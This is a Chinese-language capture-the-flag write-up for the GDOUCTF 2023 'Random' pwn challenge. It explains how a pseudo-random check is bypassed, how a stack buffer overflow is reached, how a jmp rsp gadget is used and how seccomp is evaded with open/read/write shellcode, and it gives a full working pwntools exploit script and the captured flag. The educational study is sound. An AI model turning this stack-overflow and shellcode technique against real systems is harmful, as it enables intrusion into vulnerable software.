收获

  • 伪随机数结合沙箱保护,使用 ORW 绕过沙箱

  • 栈上空间不够写入,使用 jmp rsp 劫持返回地址


(2023年4月16日)【GDOUCTF 2023】Random


思路

分析程序:

2023GDOUCTF-RANDOM1.png

用 IDA 分析:

2023GDOUCTF-RANDOM2.png

这个题也用到了猜伪随机数,猜对之后进到 vulnerable() 函数:

2023GDOUCTF-RANDOM3.png

由于 buf 在栈上的长度是 0x20,这里是可以溢出的

2023GDOUCTF-RANDOM9.png

看看字符串里有没有什么可以利用的

2023GDOUCTF-RANDOM5.png

好像并没有

寻找程序自定义的函数,发现程序通过 sandbox() 函数开启了沙箱保护:

2023GDOUCTF-RANDOM4.png

使用 prctl() 方式开启的沙箱

  1. prctl(38, 1LL, 0LL, 0LL, 0LL) 中的 38 表示禁用系统调用
  2. prctl(22,2) 表示设置沙箱规则,从而可以实现改变函数的系统调用

沙箱保护一般都会限制 execve 的系统调用,例如 one_gadgetsystem 调用,使我们不能正常 get shell,只能通过 ROP 的方式调用 open()read()write() 的组合方式来获取 flag

使用 seccomp-tools 检查一下程序的沙箱机制

2023GDOUCTF-RANDOM6.png

if (A != execve) goto 0005return ALLOW,所以程序禁用了 execve,而 system() 需要通过 execve 来实现

自定义函数中还有一个 haha() 函数:

2023GDOUCTF-RANDOM7.png

给出的是一个汇编指令 __asm { jmp rsp },可以跟进获得这条指令所在的地址:0x40094E

2023GDOUCTF-RANDOM8.png

因此本题需要使用 ORW(O -- open,R -- read,W -- write) 来绕过沙箱

  1. 首先通过 ctypes 绕过伪随机数校验,跳转到 vulnerable() 函数,但是这里不能通过溢出执行 shellcode 来提权,因为 system() 被沙箱 Ban 了
  2. 由于栈上写入的长度不够,所以得分两次写
  3. 填充字符到 0x28 够到返回地址,用 jmp rsp 劫持返回地址,让其继续向下运行
  4. 找到一个可读可写可执行的地址,用于将读取的 flag 存进去,我这里是 data_address = 0x601000
  5. 然后用 open() 打开 flag,read() 读取 flag,write() 写出 flag,构造 ORW

但是发现有时候远程的伪随机数打不通,应该是远程靶机的版本问题
也可以用爆破的方式绕过:

for i in range(100):
    io.recvuntil("lease input a guess num:\n")
    io.sendline("1")
    return_str = io.recvline()
    if b'guys' in return_str:
        break

脚本

from pwn import *
from ctypes import *  # 导入ctypes库使Python可以执行C语言的函数

context(os='linux', arch='amd64', log_level='debug')  # 打印调试信息
content = 0  # 本地Pwn通之后,将content改成0,Pwn远程端口

if content == 1:
    io = process("/home/wyy/桌面/PWN/真男人下120层/bin")  # 程序在Linux的路径
else:
    io = remote("node1.anna.nssctf.cn", 28391)  # 题目的远程端口,注意是remote


def srand():
    lib = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")  # C运行库
    v3 = lib.time(0)
    lib.srand(v3)

    number = str(lib.rand() % 50)  # 执行随机函数
    io.recvuntil("please input a guess num:\n")
    io.sendline(number)


srand()  # 绕过伪随机数

jmp_rsp = 0x40094E
data_address = 0x601000  # 用vmmap找到一个可读可写的段

payload = asm(shellcraft.read(0, data_address, 0x100))  # 调用read函数,在data_address 0x601000处写入ORW内容
payload += asm('mov rax,0x601000; call rax')  # call ax寄存器,调用执行data_address 0x601000处的ORW
payload = payload.ljust(0x28, b'a') + p64(jmp_rsp)  # 溢出到buf栈的返回地址,并将返回地址改成jmp_rsp,继续运行当前rsp后续指令,填写别的返回地址就无法控制程序后面的执行流程了
payload += asm('sub rsp,0x30; jmp rsp')  # 此时rsp已经离ORW地址偏移0x30,这里把sp挪回到ORW地址并跳转到ORW

io.recvuntil("your door\n")
io.sendline(payload)

ORW = asm(shellcraft.open('./flag'))  # 打开本地的flag文件
ORW += asm(shellcraft.read(3, data_address + 0x100, 0x50))  # 文件描述符3:其它打开的文件,将flag内容写入到data_address + 0x100地址处
ORW += asm(shellcraft.write(1, data_address + 0x100, 0x50))  # 文件描述符1:输出到屏幕,输出地址data_address + 0x100处存储的flag内容

io.sendline(ORW)

io.interactive()  # 接收回显

结果

NSSCTF{6a3fa38d-f0fe-4d23-960e-b40c015409fc}

2023GDOUCTF-RANDOM10.png